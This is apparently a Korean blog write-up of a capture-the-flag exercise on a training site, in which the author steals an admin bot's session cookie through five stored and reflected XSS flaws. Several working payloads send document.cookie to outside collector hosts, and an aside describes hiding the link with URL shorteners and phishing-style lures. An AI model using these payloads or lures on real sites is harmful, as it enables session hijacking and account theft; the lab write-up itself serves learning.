CTF

10주차 CTF (쿠키 탈취)

ser-ser 2024. 12. 27. 12:27

이전 9주 차 CTF에서 스크립트를 띄우는 취약점을 찾아냈다면 이제는 그것을 바탕으로 관리자봇의 쿠키를 탈취하는 과정을 알아가 보도록 하겠습니다

XSS 1

취약점 지점에서 악의적인 코드를 삽입하여 stored XSS 공격기법 활용하여 쿠키를 탈취하도록 하겠습니다

<script> var cookieData = document.cookie; var i = new Image(); i.src="https://eohej6gyi5ji01s.m.pipedream.net?cookie/"+cookieData;</script>

피해자는 해당 게시글을 클릭할 시 "https://eohej6gyi5ji01s.m.pipedream.net"에 쿠키값을 전송하게 됩니다

 

저의 쿠키값이 탈취되는 것을 확인했으니 상대방에게 링크를 보내 상대방 쿠키값을 탈취해 보도록 하겠습니다

 

쿠키값이 잘 탈취되는 것을 확인할 수 있습니다

 

추가로>
링크가 너무 노골적으로 보임으로 실제 해커들은 URL 단축 서비스를 사용합니다
  예> "https://tinyurl.com/65akh2z3"
이메일, 메신저를 통해 심리적인 유도를 하여 피해를 입히게 합니다
  예> 이번 공지사항 확인 필수!! "https://tinyurl.com/65akh2z3", 지난달 특가상품 할인: -바로가기-

XSS 2

검색창에 잘못된 값을 입력 시 그 값을 반사하여 보이는 ReflectedXSS 취약점이 발견됐고 다음과 같은 코드를 넣어 실행해보도록 하겠습니다 

1');var cookieData = document.cookie; var i = new Image(); i.src="https://eohej6gyi5ji01s.m.pipedream.net?cookie/"+cookieData;('

 

해당 코드가 잘 출력됐으며 쿠키값도 잘 탈취당한 것을 확인할 수 있었습니다 해당 데이터로  URL을 만들어 보겠습니다


해당 피드를 리피터로 옮기고 POST -> GET으로 변환해 줍니다 그러면 GET 값이 나오며


GET을 떼어내 주고 기존 취약점 링크 앞부분 http://ctf.segfaulthub.com:4343/를 붙여주면 URL을 만들어낼 수 있습니다


완성된 링크는 다음과 같습니다

 

 

해당 값을 입력해 주니 쿠키를 탈취할 수 있었습니다

 

XSS 3

해당사이트 취약점은 마이페이지에 아이디 입력란에 ReflectedXSS 취약점이 발견됐고 다음과 같은 코드를 넣어 실행해보도록 하겠습니다
"/><script> var+cookieData+=+document.cookie;+var+i+=+new+Image();+i.src+=+"https://eodzjzdkysr89c5.m.pipedream.net?cookie/"%2 BcookieData;+</script>

 

 

입력값을 올바르게 입력했음에도 불과하고 쿠키값이 나오지 않고 있는 것으로 보입니다.... 어찌 된 일인지 모르겠네요...
중간에 alert(1) 값을 넣고 앞전 코드가 인식이 됐는지 확인해보도록 하겠습니다

 

 

 

 

 

alert(1)이 잘 출력되는 것을 보아 스크립트 자체는 잘 실행되는 것을 확인할 수 있습니다.....

일단 해당 url을 인코딩해보겠습니다
"/><script> var+cookieData+=+document.cookie;+var+i+=+new+Image();+i.src+=+"https://eodzjzdkysr89c5.m.pipedream.net?cookie/"%2 BcookieData;+</script>

인코딩 된 url

 

 

해당값을 필드에 입력하니 관리자 쿠키값을 얻을 수 있었습니다 뭔가 찝찝하네요... 왜 저는 쿠키는 얻지 못했는데 관리자 쿠키는 얻었을까요.... 분명 입력된 값은 올바르게 출력된 것을 볼 수 있었는데 말입니다

XSS 4

게시글 제목과 내용 부부네 storedXSS 취약점이 발견됐고 필터링이 있는지 파악해 보도록 하겠습니다

 

제목에 텍스트 제한이 걸려 있어 내용 부분에 삽입시켜보도록 하겠습니다

 


저의 쿠키값이 노출되는 것을 확인했으며 해당 게시글 URL을 그대로 복사하여 관리자 피드에 넣어보도록 하겠습니다


관지라 쿠키값 탈취에 성공하였습니다

 

XSS 5

게시글 내용 부분에 storedXSS 취약점이 발견됐으며 자잘한 필터링이 작동 중인 것으로 파악됩니다 다음과 같은 코드를
넣어 실행해보도록 하겠습니다
<scripr> var cookieData = document.cookie; var img = new Image(); img.src = "https://eodzjzdkysr89c5.m.pipedream.net?cookie="+cookieData;</script>
해당 페이지도 이상하게 cookie값이 출력이 안 되는 것을 볼 수 있습니다.... 관리자 모드에서 콘솔을 입력해도 쿠키값이 안 나오는 것을 확인했습니다


해당 원인을 분석하니 HttpOnly 속성이 설정된 쿠키는 document.cookie를 통해 접근할 수 없다는 것을 알 수 있었으며
현재 저의 브라우저가 저를 보호하는 방화벽을 세웠다는 것을 알 수 있었습니다
HttpOnly 속성을 해제하고 다시 해보도록 하겠습니다

 

이제 정상적으로 쿠키값을 가져올 수 있습니다


해당 스크립트가 저장된 URL을 그대로 복사하려 관리자 피드에 붙여 넣으면 관리자의 쿠키값을 탈취할 수 있습니다